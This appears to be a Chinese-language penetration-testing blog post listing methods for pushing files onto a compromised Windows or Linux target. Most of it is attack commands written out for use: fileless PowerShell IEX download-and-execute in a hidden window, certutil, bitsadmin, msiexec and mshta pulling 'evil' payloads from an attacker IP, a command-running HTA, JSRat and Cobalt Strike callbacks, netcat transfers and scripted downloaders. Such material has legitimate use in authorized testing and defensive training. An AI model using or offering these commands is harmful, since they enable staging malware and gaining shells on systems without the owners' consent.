文章前言
在渗透过程中,通常会需要向目标主机传送一些文件,来达到权限提升、权限维持等目的,本篇文章主要介绍一些windows和Linux下常用的文件下载方式。
windows
命令行自带工具
PowerShell
PowerShell是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成,与大多数接受并返回文本的 shell 不同,PowerShell构建在 .NET公共语言运行时 (CLR) 的基础之上,接受并返回.NET对象,这从根本上的改变引入了全新的自动化工具和方法。 远程下载文件到本地:
代码语言:javascript复制powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.174.1:1234/evil.txt','evil.exe')
当然,你也可以通过以下命令来远程执行命令,且无文件落地:
代码语言:javascript复制powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.1:1234/evil.txt'))"
certutil certutil.exe是一个命令行程序,作为证书服务的一部分安装,你可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件,以及验证证书,密钥对和证书链。我们可以在cmd中输入以下命令来查看certutil的具体使用方法:
代码语言:javascript复制certutil -?
在渗透测试过程中,我们可以借助certutil来实现远程下载文件到本地:
代码语言:javascript复制certutil -urlcache -split -f http://192.168.174.1:1234/evil.txt test.exe
Bitsadmin BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度,自windows7 以上版本内置bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自动重试,在比较复杂的网络环境下,有着不错的性能。我们可以在cmd中输入bitsadmin来查看其使用说明:
在我们渗透测试过程中我们可以通过在目标主机上执行以下命令来实现远程文件下载:
代码语言:javascript复制bitsadmin /transfer n http://192.168.174.1:1234/evil.txt C:UsersHeptaDesktoptestevil.exe
FTP
FTP(File Transfer Protocol,文件传输协议)是TCP/IP 协议组中的协议之一。FTP协议包括两个组成部分,其一为FTP服务器,其二为FTP客户端,其中FTP服务器用来存储文件,用户可以使用FTP客户端通过FTP协议访问位于FTP服务器上的资源。 在我们渗透测试过程中我们可以通过在攻击主机上搭建FTP服务,之后在目标主机上通过cmd下的ftp进行远程连接: 首先,在攻击主机使用IPOP启动一个简易的FTP服务:
之后在目标主机上远程下载evil.exe文件:
msiexec msiexec是windows自带的cmd工具,支持远程下载功能,攻击者可以将msi文件上传到服务器并执行,下面通过一个实例做演示说明,首先我们通过msfvenom来构造一个恶意的msi程序(这里以弹计算器为例,在实战中可以根据需要进行修改),并启动一个简易HTTP服务:
之后在目标主机上通过msiexec来实现远程下载文件并执行,该方法同样可以实现无文件落地攻击:
代码语言:javascript复制msiexec /q /i http://192.168.174.131:1234/evil.msi
mshta mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件,我们可以在本地构建hta文件,之后通过目标主机的mshta来远程下载并执行,例如在本地创建以下hta文件:
代码语言:javascript复制<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c calc.exe" // 待执行的命令
self.close
</script>
<body>
Demo
</body>
</HEAD>
</HTML>
之后在远程目标主机上执行以下命令实现下载执行操作,且无文件落地:
代码语言:javascript复制mshta http://192.168.174.1:1234/evil.hta
如果你想要使得目标主机CS上线,那么也可以通过CS来构造hta文件
之后在本地启动一个HTTP服务:
之后在cmd下通过mshta来下载hta文件并运行,使其上线,且无文件落地:
代码语言:javascript复制mshta http://192.168.174.131:1234/evil.hta
CS中成功上线:
rundll32
Rundll32.exe功能是以命令行的方式调用动态链接程序库,系统中还有一个Rundll64.exe文件,它的意思是"执行64位的DLL文件", 其命令行下的使用方法为:Rundll32.exe DLLname,Functionname Arguments,其中DLLname为需要执行的DLL文件名,Functionname为前边需要执行的DLL文件的具体引出函数,Arguments为引出函数的具体参数。 这里我们使用JSRat来做演示,JSRat是一个命令和控制框架,仅为rundll32.exe和regsvr32.exe生成恶意程序,首先我们在本地运行JSRat监听本地1234端口:
代码语言:javascript复制./JSRat.py -i 192.168.174.131 -p 1234
之后通过访问client comand 连接客户端执行命令:
之后复制上述恶意命令在目标主机cmd下执行:
之后成功返回一个会话如下所示:
PS:如果对源代码感兴趣可以查看rundll32 invocation信息的连接 regsvr32 Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行,我们可以通过该命令来实现远程文件下载,和上面类似,这里也借助JSRat来实现,首先我们在本地运行JSRat监听本地1234端口:
代码语言:javascript复制./JSRat.py -i 192.168.174.131 -p 1234
之后通过访问client comand 连接查看客户端执行命令:
之后复制上述恶意点在目标主机cmd下执行:
之后成功返回一个会话如下所示:
第三方应用/服务
wget
wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载,并可以使用HTTP 代理。"wget" 这个名称来源于 “World Wide Web” 与 “get” 的结合。 Wget下载地址:https://eternallybored.org/misc/wget/ 当目标主机上有安装wget时,我们可以直接通过该应用程序来实现远程文件下载:
cURL cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl。当目标主机中安装了curl时我们可以通过以下方式来实现远程下载文件到本地:
代码语言:javascript复制curl http://192.168.174.1:1234/evil.exe -o evil.exe
ncat nc是一款安全工具,它还有其他的名字 Netcat, Ncat 可用来做端口扫描,端口转发,连接远程系统等。它是一款拥有多种功能的CLI 工具,可以用来在网络上读、写以及重定向数据,它被设计成可以被脚本或其他程序调用的可靠的后端工具,同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。当目标主机上安装了ncat是我们可以使用ncat来实现文件下载,当然这种场景在实战中少之又少~ 首先,我们在本地使用nc起一个监听,并传递我们想要传输的文件名称:
代码语言:javascript复制nc -lvp 4444 < evil.exe
之后在目标主机上下载文件:
代码语言:javascript复制nc 192.168.174.131 4444 >evil.exe
Python Python是目前很受欢迎的主流脚本语言,当目标主机内安装了python时,我们可以在cmd中使用python来实现远程文件下载:
代码语言:javascript复制Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib2
>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.hta')
>>> localfile = open('local_file.hta','w')
>>> localfile.write(u.read())
>>> localfile.close()
>>>
Notepad Dialog Box
如果你有权限接入一台(远程连接或者物理机)电脑,但是当前用户权限不允许打开浏览器,这时你该怎么反弹一个shell回来呢?如果目标主机有安装notpad那么你可以通过下面这种方式快速的从一个URL或者UNC路径当中下载文件到本地并执行来获取shell:首先,打开notpad ,之后点击"文件—>打开":
之后在文件位置处输出远程文件web请求连接
回车之后,可以看到成功远程下载文件到本地
之后运行该hta文件即可(在实战中可以由CS来生成hta攻击文件,之后进行攻击反弹shell回来进行后渗透测试)~
Linux
编程语言
Perl
Perl是目前很受欢迎的主流脚本语言,linux主机一般都自带perl环境,我们可以在终端中使用vim来编辑一个perl脚本,之后执行perl来实现远程文件下载:
代码语言:javascript复制#!perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://192.168.174.1:1234/evil.sh","evil.sh");
之后在终端运行该perl文件即可:
Ruby
当目标主机内安装了Ruby时,我们可以在终端使用vim来编辑一个Ruby脚本,之后执行Ruby来实现远程文件下载:
代码语言:javascript复制#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("192.168.174.1") { |http|
r = http.get("/evil.sh")
open("save_location.sh", "wb") { |file|
file.write(r.body)
}
}
成功下载文件到本地
PHP
当目标主机内安装了Ruby时,我们可以在终端使用vim来编辑一个PHP脚本,之后执行PHP来实现远程文件下载:
代码语言:javascript复制<?php
$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>
成功下载远程文件到本地
Python
Python是目前很受欢迎的主流脚本语言,当目标主机内安装了python时,我们可以在shell中使用python来实现远程文件下载:
代码语言:javascript复制Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib2
>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.sh')
>>> localfile = open('local_file.sh','w')
>>> localfile.write(u.read())
>>> localfile.close()
>>>
应用程序
wget
wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载,并可以使用HTTP 代理。"wget" 这个名称来源于 “World Wide Web” 与 “get” 的结合。当目标主机上有安装wget时,我们可以直接通过该应用程序来实现远程文件下载:
代码语言:javascript复制wget http://192.168.174.1:1234/evil.sh
cURL
cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl,当目标主机中安装了curl时我们可以通过以下方式来实现远程下载文件到本地:
代码语言:javascript复制curl http://192.168.174.1:1234/evil.sh -o evil.sh
ncat
nc是一款安全工具,它还有其他的名字 Netcat, Ncat 可用来做端口扫描,端口转发,连接远程系统等。它是一款拥有多种功能的CLI 工具,可以用来在网络上读、写以及重定向数据,它被设计成可以被脚本或其他程序调用的可靠的后端工具,同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。当目标主机上安装了ncat是我们可以使用ncat来实现文件下载,当然这种场景在实战中少之又少~ 首先,我们在本地使用nc起一个监听,并传递我们想要传输的文件名称:
代码语言:javascript复制nc -lvp 4444 < evil.sh
之后在目标主机上下载文件:
代码语言:javascript复制nc 192.168.174.131 4444 >evil.sh
FTP
ftp在linux一般都自带,我们可以在终端输入ftp进行交互,所以我们可以在本地搭建FTP服务,之后在目标主机上通过终端下的ftp进行远程连接来下载文件~ 首先,在攻击主机使用IPOP启动一个简易的FTP服务:
之后在目标主机上远程下载evil.exe文件:
TFTP
tftp在linux一般都自带,我们可以在终端输入tftp进行交互,所以我们可以在本地搭建TFTP服务,之后在目标主机上通过终端下的tftp远程下载文件~ 首先,在攻击主机使用IPOP启动一个简易的TFTP服务:
之后在目标主机终端通过tftp链接tftp服务并远程下载文件:
文末小结
上面列举了一些最常用的文件下载方式,当然,文件下载的方式不仅只有上面几种,具体可以结合具体的环境来看,例如:各种编程语言开发环境、第三方应用等等。
参考链接:https://blog.netspi.com/15-ways-to-download-a-file/